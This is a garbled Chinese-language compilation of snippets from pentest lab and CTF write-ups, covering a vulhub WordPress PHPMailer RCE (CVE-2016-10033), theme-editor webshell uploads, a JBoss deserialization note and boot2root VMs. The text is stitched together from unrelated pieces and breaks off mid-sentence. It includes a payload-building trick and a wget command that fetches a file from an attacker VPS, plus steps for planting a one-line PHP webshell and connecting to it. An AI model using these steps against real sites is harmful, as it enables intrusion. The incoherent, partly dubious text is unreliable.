vulhub-wordpress

靶场地址，自行去gethub找安装靶场，使用vm虚拟机或云服务器 需安装docker和docker-compose执行命令开启dockerdocker ps -a查看运行端口访问进行wordpress设置。

WordPress <= 4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)

一、启动靶机 docker-compose build docker-compose up -d 访问URL进行install： http://192.168.150.146:8080 二、生成payload 前提：命令中 空格 用 ${substr{10}{1}{$tod_log}}代替 / 用 ${substr{0}{1}{$spool_directory}}代替 命令： /usr/bin/wget --output-document /tmp/rce vps_ip/a.txt payload：

phpmailer组件调用linux系统命令sendmail进行邮件发送，通过传入的SERVER_NAME获取主机名(即请求host值)，而SERVER_NAME没有经过任何过滤，从而产生漏洞，而exim4替代了sendmail的功能，即可以利用substr，run函数等进入绕过，构造payload。

主机发现 && 端口扫描 终于是一台端口多一些的机器了 好了来吧 漏洞挖掘 22 首先呢ssh的版本是比较新的。 好的，那么还是从web下手吧，有俩。 80 就一图片 啥也不是 ctrl + U ，啥也不是 扫目录，啥也不是 啥也不是 8080 是个登录框 扫目录只发现robots.txt 13380 访问跳转leeroy.htb，去hosts文件加一下 加好了 ...

*4.rbash提权**

WordPress是使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。WordPress会使用PHPMailer组件发送邮件，攻击者在找回密码时通过PHPMailer组件发送重置密码的邮件，利用substr，run等函数构造payload，可造成命令执行漏洞。

搜索：wordpress主题上传的路径wp-content/themes/来到主题，选择editor再选择author-bio.php。点开moban目录后，创建一个php文件，写一个一句话木马。这里就是他的路径，试着访问一下，显示not found。下载完成后对我们有用的东西只有这一个目录，把它拖出来。我们可以去网上找到wordpress主题下载一个。上传成功，我们去搜一下这个cms类型的绝对路径。发现访问到了，去用蚁剑连接一下，连接成功。这里有一个上传主题的地方。我们去访问一下这个文件。

这是一个适合初学者到中级水平的虚拟机。它有一些挑战，但不会过于复杂。至少有两条路径可以获得一个有限权限的shell。至少有三种方法可以获得root权限。

ssh、msf、webdav、linux、kali、basic_pentesting_1、Me-and-My-Girlfriend-1、narak

1.选择简体中文 然后添加信息 点击安装wordpress1.2 登陆后台1.3 在后台修改模板1.4 找一个php文件，在最开头加入一句话木马点击更新 然后访问默认模板路径 下面的是默认的模板路径然后复制网址 使用工具连接。

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可，可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。Jboss属于redhat公司，而且jboss是开源的，免费的，且在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器，所以曾经广为流行。该漏洞出现在请求中，服务器将用户提交的POST内容进行了Java反序列化：（该图像来源于vulhub官方wp中）

vulhub漏洞复现练习篇

Tomato靶机是一个用于渗透测试和漏洞研究的虚拟机。它是由Tomato Security公司开发的，基于Debian操作系统，并包含了多个常见的漏洞和安全工具，如Metasploit、Nmap、Burp Suite等。它模拟了一个真实的网络环境，用户可以在其中执行实际的攻击和渗透测试，以测试其安全性和发现潜在的漏洞。

WordPress常见漏洞 获取webshell

首先先进行主机存活探测： 可以发现靶机的地址为192.168.79.140，使用nmap扫描： 发现是开启了web端的，常规思路先访问web端看看有没有啥可看的东西 发现是个这玩意，尝试先看看功能点，没有的话直接进行目录扫描： 发现爆破出来了个admin.php，尝试访问： 发现是一个登录框，尝试正常登录测试，发现加载了一会之后还是停留在原来的页面，尝试查看源码发现提示： 经过翻译发现： 尝试web端下手，发现此路不通，尝试转换思路，从其他端口下手： ..